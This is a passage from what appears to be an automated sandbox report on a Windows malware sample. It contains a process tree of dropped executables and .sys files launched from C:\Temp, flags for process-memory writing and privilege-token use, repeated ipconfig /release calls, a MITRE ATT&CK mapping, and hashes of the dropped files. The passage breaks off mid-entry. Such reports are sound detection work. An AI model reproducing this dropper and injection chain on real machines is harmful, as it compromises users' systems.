    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4252
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jebwuomgey.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4724
- - C:\Temp\i_jebwuomgey.exe
    C:\Temp\i_jebwuomgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbwtomgey.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4584
- - C:\Temp\jdbwtomgey.exe
    C:\Temp\jdbwtomgey.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4244
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:376
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbwtomgey.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4808
- - C:\Temp\i_jdbwtomgey.exe
    C:\Temp\i_jdbwtomgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3956
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tnlgdytnlg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4924
- - C:\Temp\tnlgdytnlg.exe
    C:\Temp\tnlgdytnlg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3092
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2868
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tnlgdytnlg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2908
- - C:\Temp\i_tnlgdytnlg.exe
    C:\Temp\i_tnlgdytnlg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vsnlfdxvqn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:436
- - C:\Temp\vsnlfdxvqn.exe
    C:\Temp\vsnlfdxvqn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2384
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3984
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vsnlfdxvqn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2448
- - C:\Temp\i_vsnlfdxvqn.exe
    C:\Temp\i_vsnlfdxvqn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1864
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nifaysnifa.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1120
- - C:\Temp\nifaysnifa.exe
    C:\Temp\nifaysnifa.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3012
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2328
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nifaysnifa.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3800
- - C:\Temp\i_nifaysnifa.exe
    C:\Temp\i_nifaysnifa.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5116
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\axspkicaus.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1680
- - C:\Temp\axspkicaus.exe
    C:\Temp\axspkicaus.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1392
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:872
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_axspkicaus.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3916
- - C:\Temp\i_axspkicaus.exe
    C:\Temp\i_axspkicaus.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2080
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfzxrpkh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3472
- - C:\Temp\pnhfzxrpkh.exe
    C:\Temp\pnhfzxrpkh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:412
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2668
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1212
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfzxrpkh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2916
- - C:\Temp\i_pnhfzxrpkh.exe
    C:\Temp\i_pnhfzxrpkh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:540
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbzurmkecw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3988
- - C:\Temp\hbzurmkecw.exe
    C:\Temp\hbzurmkecw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1980
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4748
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2968
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbzurmkecw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4936
- - C:\Temp\i_hbzurmkecw.exe
    C:\Temp\i_hbzurmkecw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxrpjhbzur.exe ups_run
  2⤵
  PID:4608
- - C:\Temp\zxrpjhbzur.exe
    C:\Temp\zxrpjhbzur.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4384
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxrpjhbzur.exe ups_ins
  2⤵
  PID:380
- - C:\Temp\i_zxrpjhbzur.exe
    C:\Temp\i_zxrpjhbzur.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4484
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgeywqojg.exe ups_run
  2⤵
  PID:3748
- - C:\Temp\omgeywqojg.exe
    C:\Temp\omgeywqojg.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4896
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2752
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2896
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgeywqojg.exe ups_ins
  2⤵
  PID:5092
- - C:\Temp\i_omgeywqojg.exe
    C:\Temp\i_omgeywqojg.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5064
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywqoigaytq.exe ups_run
  2⤵
  PID:4960
- - C:\Temp\ywqoigaytq.exe
    C:\Temp\ywqoigaytq.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3680
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3384
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywqoigaytq.exe ups_ins
  2⤵
  PID:2644
- - C:\Temp\i_ywqoigaytq.exe
    C:\Temp\i_ywqoigaytq.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1684
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qlidbvtnlf.exe ups_run
  2⤵
  PID:3376
- - C:\Temp\qlidbvtnlf.exe
    C:\Temp\qlidbvtnlf.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1008
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4356
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qlidbvtnlf.exe ups_ins
  2⤵
  PID:3652
- - C:\Temp\i_qlidbvtnlf.exe
    C:\Temp\i_qlidbvtnlf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4448
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnifaysqca.exe ups_run
  2⤵
  PID:2400
- - C:\Temp\pnifaysqca.exe
    C:\Temp\pnifaysqca.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3096
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3960
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnifaysqca.exe ups_ins
  2⤵
  PID:3876
- - C:\Temp\i_pnifaysqca.exe
    C:\Temp\i_pnifaysqca.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1588
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nifaysqkic.exe ups_run
  2⤵
  PID:4320
- - C:\Temp\nifaysqkic.exe
    C:\Temp\nifaysqkic.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3132
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4616
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nifaysqkic.exe ups_ins
  2⤵
  PID:3256
- - C:\Temp\i_nifaysqkic.exe
    C:\Temp\i_nifaysqkic.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4620
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\causmhczus.exe ups_run
  2⤵
  PID:1832
- - C:\Temp\causmhczus.exe
    C:\Temp\causmhczus.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1104
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3736
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_causmhczus.exe ups_ins
  2⤵
  PID:4892
- - C:\Temp\i_causmhczus.exe
    C:\Temp\i_causmhczus.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xrpjhczusm.exe ups_run
  2⤵
  PID:4764
- - C:\Temp\xrpjhczusm.exe
    C:\Temp\xrpjhczusm.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3544
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3808
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5108
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xrpjhczusm.exe ups_ins
  2⤵
  PID:1744
- - C:\Temp\i_xrpjhczusm.exe
    C:\Temp\i_xrpjhczusm.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wuomhezwrp.exe ups_run
  2⤵
  PID:3184
- - C:\Temp\wuomhezwrp.exe
    C:\Temp\wuomhezwrp.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3128
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:384

C:\Temp\hcamkecwup.sys
C:\Temp\hcamkecwup.sys
1⤵
- Executes dropped EXE
PID:1952

C:\Temp\pmhfzxrpjh.sys
C:\Temp\pmhfzxrpjh.sys
1⤵
- Executes dropped EXE
PID:4428

C:\Temp\wuomgezwrp.sys
C:\Temp\wuomgezwrp.sys
1⤵
- Executes dropped EXE
PID:1168

C:\Temp\wtomgeywqo.sys
C:\Temp\wtomgeywqo.sys
1⤵
- Executes dropped EXE
PID:3128

C:\Temp\bvtnlgdywq.sys
C:\Temp\bvtnlgdywq.sys
1⤵
- Executes dropped EXE
PID:4692

C:\Temp\nlgdysqlid.sys
C:\Temp\nlgdysqlid.sys
1⤵
- Executes dropped EXE
PID:988

C:\Temp\avtnlfdxvq.sys
C:\Temp\avtnlfdxvq.sys
1⤵
- Executes dropped EXE
PID:3388

C:\Temp\kfdxvpnhfa.sys
C:\Temp\kfdxvpnhfa.sys
1⤵
- Executes dropped EXE
PID:5000

C:\Temp\ausmkecxup.sys
C:\Temp\ausmkecxup.sys
1⤵
- Executes dropped EXE
PID:3804

C:\Temp\wupmhezxrp.sys
C:\Temp\wupmhezxrp.sys
1⤵
- Executes dropped EXE
PID:3876

C:\Temp\jhbzuomgez.sys
C:\Temp\jhbzuomgez.sys
1⤵
PID:4460

C:\Temp\ztrljebwuo.sys
C:\Temp\ztrljebwuo.sys
1⤵
PID:3324

C:\Temp\idbvtolgdy.sys
C:\Temp\idbvtolgdy.sys
1⤵
PID:4636

C:\Temp\gdywqoigbq.sys
C:\Temp\gdywqoigbq.sys
1⤵
PID:3192

C:\Temp\vpnhfaxsqk.sys
C:\Temp\vpnhfaxsqk.sys
1⤵
PID:4428

C:\Temp\nhfzxspkic.sys
C:\Temp\nhfzxspkic.sys
1⤵
PID:2748

C:\Temp\mhfzxrpjhc.sys
C:\Temp\mhfzxrpjhc.sys
1⤵
PID:5116

C:\Temp\hbzurmkecw.sys
C:\Temp\hbzurmkecw.sys
1⤵
PID:4688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c
MD5 0da87487a46ac0b219dfc10ebb7dbc09
SHA1 a58ed225df243160327f19f2d03ccb60693c562b
SHA512 cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4
SSDEEP 48:ieNHLtrCgTU534sKXG5BrBfdQSBe2nLB8JsU:dLlS3tpJ5un
TLSH
T12C91202301A68471C8BD8FF7118759C9FA7B51348311210C4AB30FD6E770A77456CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

avtnlfdxvq.sys

Path C:\Temp\avtnlfdxvq.sys
Size 141KB
SHA256 93189a96d1b6c03932a1e2511389bdc191d03d948bd5511a21cfa380a9a4734f
MD5 a12bd9e707c31bfb371dabb53ed7cac4
SHA1 db834a63e087cbf0060ba266f33eba5236ee3752
SHA512 d9aeb05ca1522f60a9821c0951c31b45ff9ae1ce60e7e1e2e635d6710e0c6c873995e9ab6cecf018ebc59917ed82522ba8ffd31fe4aacb58ee4a3e12742da883
SSDEEP 1536:Fa3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Fa3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T10FE37C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bvtnlgdywq.sys

Path C:\Temp\bvtnlgdywq.sys
Size 141KB
SHA256 293de2426accba23eabf949e6e4c4c05c00af1c0c8e817fbb12e4b18642fa013
MD5 5f5dacc0c29d9b76cc3e373a475356d4
SHA1 19d837e762ed318d9e1c1510698207bcc1e48761
SHA512 eb325ee2ff46d5a9495f858baa87e90ef06e7f2438ff3e25d70356122699d589169d846b29ef43fb27a6fe4fdc4683d6ba6d71e5199ea2e2a0a059d5fc14342a
SSDEEP 1536:Ba3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Ba3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T1E2E38C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hcamkecwup.sys

Path C:\Temp\hcamkecwup.sys
Size 141KB
SHA256 2fc0e4b7ecaf243b40413f131a48fd912bf734c42e218fcfd29bb0eb7fce92b5
MD5 f66dd05a7a2c31e3ad3b87fbd3e9d34f
SHA1 793579f11280631a35868f19299bf70b0ab1817e
SHA512 dd9c064fd93c681f9a2f4304e06a9e5edb2c5e38e56b29a9b89ad11668e955446b6a6a7feec2b0449553756f10393edaf47a28c0f9cb344b6d75045e4aaf04af
SSDEEP 1536:Da3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Da3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T1CAE37C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jdbwtomgey.exe

Path C:\Temp\i_jdbwtomgey.exe
Size 226KB
SHA256 73d64bc3e3847bc8b50d4a0bf587783db6af2de48e98bb6c96a0641c65fffb26
MD5 7a7fd8e404cc7adde43cde937488b417
SHA1 94f00acc67705ab294b27763c37f3d83bc4321a9
SHA512 3ab61fe882a747c5ea564a5c0c3194e2f4acfc70cb944fc89b9b29381e52097f6d6670cceeeff9adb4d4393fb7d9b82cfbc76d4c34334ec94ed78748e3d8c79f
SSDEEP 3072:LGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:KXY4LK+a3lLNngoqRttA7
TLSH
T11934490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jebwuomgey.exe

Path C:\Temp\i_jebwuomgey.exe
Size 226KB
SHA256 8592b936512cb4aafc2c320e11dd2d818539abb4ffda9e9fbd165748f1df2697
MD5 16936fc5599fc53a3346569d43e9ebb4
SHA1 51a7901b47ed4fb97efaa4b330e5d994c0411bda
SHA512 4e85ab90eb908b24576fa9aec87b0c02b3b11283c320e670004eabbba27cbd6631da45f329fae2cbc628dc59a5778b446ee0f17bad5e9cac8e922e743633de28
SSDEEP 3072:8GSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:DXY4LK+a3lLNngoqRttA7
TLSH
T10234490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pmhfzxrpjh.exe

Path C:\Temp\i_pmhfzxrpjh.exe
Size 226KB
SHA256 6874a24191cd2b0c72dd064d2747757f3034eca35c3b501440194baf0696e4cf
MD5 da1e7ca589e0612b6fa3c65dc2a73962
SHA1 650e91ec03945abbda8740e09811b7513cbe02a2
SHA512 59929844bfccaf90bcacbed5b42f6572409f24f35820b193411977fa2cac4fed5bbab5bdd19c2dd4251f2c794a2d58fc7c5f83050b945b7c6dd1a6128ff36988
SSDEEP 3072:AGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:nXY4LK+a3lLNngoqRttA7
TLSH
T18B34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_smkfcxrpki.exe

Path C:\Temp\i_smkfcxrpki.exe
Size 226KB
SHA256 6324fc2d6ee2d8dcbb7158ba790b8aadcecae27af943a6e0b0d24163c4f157eb
MD5 3ee6dacf01e2e7a318c431125f6e5844
SHA1 7f94d30dddbafb75c247048cfc33398f00a7e50e
SHA512 54f264f80b574e28e87dc73ae03b973784c2c1d045b702ac7c63bd9b8e967a6ffc34e039a34a3220d949858226fedc382c3ec6c51678568ade6ad72bc208fddf
SSDEEP 3072:KGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:RXY4LK+a3lLNngoqRttA7
TLSH
T13E34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tnlgdytnlg.exe

Path C:\Temp\i_tnlgdytnlg.exe
Size 226KB
SHA256 6d16d0d207d9a3a1510f1739718ddb84fa044a2be5264587273a6df86890732c
MD5 6891997736a944a35d14d8cb932d6ab0
SHA1 93f9aeecc04541ec97e687a031c1d736e11f7875
SHA512 337f5dea25711720786a0b18a0371630d50b52df5821f7b06f7172ef024c909ccd13fc37bb51077e42cde7b2e295583863597b9add49ae1cc498f2705d492c3a
SSDEEP 3072:nGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:GXY4LK+a3lLNngoqRttA7
TLSH
T1AA34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vsnlfdxvqn.exe

Path C:\Temp\i_vsnlfdxvqn.exe
Size 226KB
SHA256 99084df9b58e1125af4b1de5fd36b71e5c87385708f4a3217465313903cd0519
MD5 c6874c7469df23bf05c466bdfcd1a351
SHA1 9dcb7f4ebfc2453f8f82c766be7d207cb875e229
SHA512 bb4369606f1491e6e039447cb97795225ef6889e163624e0c4b34af8c0afdf77f06730e657f0b123fdbd5586995adbde8042005af4282775823d195c089b9378
SSDEEP 3072:DGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:iXY4LK+a3lLNngoqRttA7
TLSH
T13B34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ztrmjecwuo.exe

Path C:\Temp\i_ztrmjecwuo.exe
Size 226KB
SHA256 3a74a01267d41ba29072efa0196eb5eb0cb43064e1ffdf867f7244bae0dea25c
MD5 55549b9375b485f9dcd7bfb066f4e759
SHA1 05535d272c43c122a3c881173263411df18acab8
SHA512 ca23b360e12d3fc93b8aa03bdf76027bb7cbe0dd80aebf1f6070fd173fb7dc8edb8391ef12140c4cb1ec4256931ea16b0b437de0fb7131b7858c32218e63fc88
SSDEEP 3072:/GSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:eXY4LK+a3lLNngoqRttA7
TLSH
T12F34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbwtomgey.exe

Path C:\Temp\jdbwtomgey.exe
Size 226KB
SHA256 6280cebf3ad54022c7270a8368d9ecbde48bc2731ec14287fe886b707cdce63b
MD5 895da9cbd24e7d2ad2f8333bcb0089c5
SHA1 76e622d25e2aaa5df24569648f6e5e0c50c92c9b
SHA512 65c1fc8de450b5b87218fbef6a252f4ecabd4f3807669a42f46dbd35e47ee9b036d9e68df85ccb25e984b81cc9a53f7f286bd5fd952eac80754455a2ff378218
SSDEEP 3072:iGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:JXY4LK+a3lLNngoqRttA7
TLSH
T12A34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795A312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jebwuomgey.exe

Path C:\Temp\jebwuomgey.exe
Size 226KB
SHA256 d9bdcac1f8551d08b8acc7661bb23ef12b716eed32da4b09b98334a753f5ad8b
MD5 483ff95fca7a86c4733be52a074b1a52
SHA1 05ed2512a466d92e607db2933454237e6a5705af
SHA512 56d86af7c6150e7ca243883e6c3d777021986101ac987ec0879b7f0d52b5e0ded597bb5f0dfa16aa0bbc4369d1bb422dbd92f6aebe9ef9255de6802bbfe5203e
SSDEEP 3072:uGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:FXY4LK+a3lLNngoqRttA7
TLSH
T10734490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nifaysnifa.exe

Path C:\Temp\nifaysnifa.exe
Size 226KB
SHA256 c183f75ca078784d1ec9de0c332ae4e90d67222cd30a61507daf2fdc70db2b4b
MD5 dbe633ad237b1b0ec3cbfce1dc529afa
SHA1 475e6cc4d11a04b28df0b2378b8ba2cc86d162ce
SHA512 1102a9890fa4e68d1f95d951a0d63b3d412031b08713f50d57b4e8d0de3c609009e558857d53fd699cfaf0d5f1ae9dd7ced9554c871bfecab61f2819474103ac
SSDEEP 3072:MGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:TXY4LK+a3lLNngoqRttA7
TLSH
T17534490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nlgdysqlid.sys

Path C:\Temp\nlgdysqlid.sys
Size 141KB
SHA256 85428d9acfbe227a44936e24995129b73bda5d6563366da99ccf0bc0c284c92a
MD5 5d659c8d93b99db1b5ea7d0044c34474
SHA1 c383277e7272632d3b53c30d05d6e099150f2eeb
SHA512 a772a3b61e91e6c67b7be551b1c4967c89d56969e6802514126214c5c0a50f1bfacb75c6bac1624c6f6a042c7c32bfd5a5db8726eb6c3aae8be32c00b589c46c
SSDEEP 1536:pa3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltX:pa3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T167E37C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pmhfzxrpjh.exe

Path C:\Temp\pmhfzxrpjh.exe
Size 226KB
